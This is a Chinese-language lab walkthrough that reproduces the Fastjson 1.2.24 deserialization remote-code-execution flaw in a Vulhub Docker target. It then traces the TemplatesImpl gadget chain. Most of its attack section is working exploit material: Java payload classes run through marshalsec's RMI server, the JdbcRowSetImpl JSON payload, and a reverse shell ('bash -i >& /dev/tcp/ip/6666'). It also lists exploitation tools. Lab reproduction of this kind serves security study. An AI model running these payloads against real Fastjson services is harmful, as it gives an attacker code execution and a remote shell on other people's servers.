一、环境搭建
1、安装docker
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
2、安装docker-compose
pip install docker-compose
3、gitvulhub镜像
git clone https://github.com/vulhub/vulhub.git
4、进入指定目录启动环境
cd vulhub/fastjson/1.2.24-rce
docker compose up -d
访问http://ip:8090
二、漏洞复现
1、复现过程
首先在dnslog获得一个dnslog
地址:http://www.dnslog.cn/
然后下载marshalsec
下载地址:https://github.com/RandomRobbieBF/marshalsec-jar
在该文件同文件夹下创建一个TouchFile.java文件
内容如下
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"ping", "xxx.dnslog.cn(刚开始获取的dnslog)"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
使用javac命令将其编译为TouchFile.class文件
使用python3 -m http.server 任意端口(注意不要冲突)
开启marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:1111(刚刚开放的端口)/#TouchFile" 9999
打开bp在靶场页面抓包
发送到repeater
将get请求修改为post请求
添加Content-Type: application/json和payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/TouchFile",
"autoCommit":true
}
}
点击发送
然后去dnslog查看有没有响应
成功
创建文件
将TouchFile.java文件内容修改为以下代码
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/1111"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后编译成class文件,同样的操作发包
然后进入容器查看有没有创建成功
docker exec -it 容器id前四位 /bin/bash
成功
再来反弹一下shell
将TouchFile.java文件内容修改为以下代码
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/6666 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
在kali开启监听
同样的操作,发包
成功
2、工具推荐
marshalsec
JNDI-Injection-Exploit
下载地址:https://github.com/welk1n/JNDI-Injection-Exploit
使用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
FastjsonScan
下载地址:https://github.com/a1phaboy/FastjsonScan
BurpSuite插件 – FastjsonScan
下载地址:https://github.com/pmiaowu/BurpFastJsonScan
点击extender
点击add
点击select file
选择文件
然后点击next进行安装
安装成功
三、漏洞分析
利用链流程
进入deserialze后解析到key为_bytecodes
时,调用parseField()进一步解析
跟进parseField方法,对_bytecodes
对应的内容进行解析
跟进FieldDeserializer#parseField方法
解析出_bytecodes
对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据
继续跟进FieldDeserializer#setValue方法
这里使用了set方法来设置_bytecodes
的值
接着解析到_outputProperties
的内容
这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
跟进TemplatesImpl#getOutputProperties
跟进newTransformer方法
跟进getTransletInstance方法
这里通过defineTransletClasses创建了TEMPOC类并生成了实例
进而执行TEMPOC类的构造方法
所以就执行了任意代码
四、参考文章
https://blog.csdn.net/Bossfrank/article/details/130100893
https://blog.csdn.net/hackzkaq/article/details/135825310
https://www.cnblogs.com/nice0e3/p/14601670.html#0x03-fastjson-templatesimpl%E9%93%BE-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://xz.aliyun.com/t/8979?time__1311=n4%2BxuDgDBD90D%3DK0%3DG8DlxG2bm7KiIoEvNQeox&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-8